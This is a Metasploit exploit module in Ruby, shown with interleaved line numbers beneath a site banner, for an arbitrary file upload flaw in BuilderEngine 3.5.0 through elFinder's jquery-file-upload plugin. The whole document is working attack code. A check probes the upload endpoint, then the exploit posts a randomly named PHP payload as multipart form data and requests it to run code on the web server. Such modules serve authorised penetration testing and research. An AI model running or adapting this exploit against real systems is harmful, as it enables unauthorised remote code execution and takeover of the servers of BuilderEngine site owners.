Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::FileDropper
10
  include Msf::Exploit::Remote::HttpClient
11

12
  def initialize(info={})
13
    super(update_info(info,
14
      'Name'           => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
15
      'Description'    => %q{
16
        This module exploits a vulnerability found in BuilderEngine 3.5.0
17
        via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
18
        file, which would result in arbitrary remote code execution under the context of
19
        the web server.
20
      },
21
      'License'        => MSF_LICENSE,
22
      'Author'         =>
23
        [
24
          'metanubix',   # PoC
25
          'Marco Rivoli' # Metasploit
26
        ],
27
      'References'     =>
28
        [
29
          ['EDB', '40390']
30
        ],
31
      'Payload'        =>
32
        {
33
          'BadChars' => "\x00"
34
        },
35
      'DefaultOptions'  =>
36
        {
37
          'EXITFUNC' => 'thread'
38
        },
39
      'Platform'       => ['php'],
40
      'Arch'           => ARCH_PHP,
41
      'Targets'        =>
42
        [
43
          ['BuilderEngine 3.5.0', {}]
44
        ],
45
      'Privileged'     => false,
46
      'DisclosureDate' => '2016-09-18',
47
      'DefaultTarget'  => 0))
48

49
      register_options(
50
        [
51
          OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
52
        ])
53
  end
54

55
  def check
56
    uri = target_uri.path
57
    uri << '/' if uri[-1,1] != '/'
58

59
    res = send_request_cgi({
60
      'method' => 'GET',
61
      'uri'    => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
62
    })
63

64
    if res && res.code == 200 && !res.body.blank?
65
      return Exploit::CheckCode::Appears
66
    else
67
      return Exploit::CheckCode::Safe
68
    end
69
  end
70

71
  def exploit
72
    uri = target_uri.path
73

74
    peer = "#{rhost}:#{rport}"
75
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
76
    data = Rex::MIME::Message.new
77
    payload_encoded = Rex::Text.rand_text_alpha(1)
78
    payload_encoded << "<?php "
79
    payload_encoded << payload.encoded
80
    payload_encoded << " ?>\r\n"
81
    data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
82
    post_data = data.to_s
83

84
    res = send_request_cgi({
85
      'uri'    => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
86
      'method' => 'POST',
87
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
88
      'data'   => post_data
89
    })
90

91
    if res
92
      if res.code == 200 && res.body =~ /files|#{php_pagename}/
93
        print_good("Our payload is at: #{php_pagename}. Calling payload...")
94
        register_file_for_cleanup(php_pagename)
95
      else
96
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
97
      end
98
    else
99
      fail_with(Failure::Unknown, 'ERROR')
100
    end
101

102
    print_status("Calling payload...")
103
    send_request_cgi(
104
      'method' => 'GET',
105
      'uri'    => normalize_uri(uri,'files/', php_pagename)
106
    )
107
  end
108
end
109

110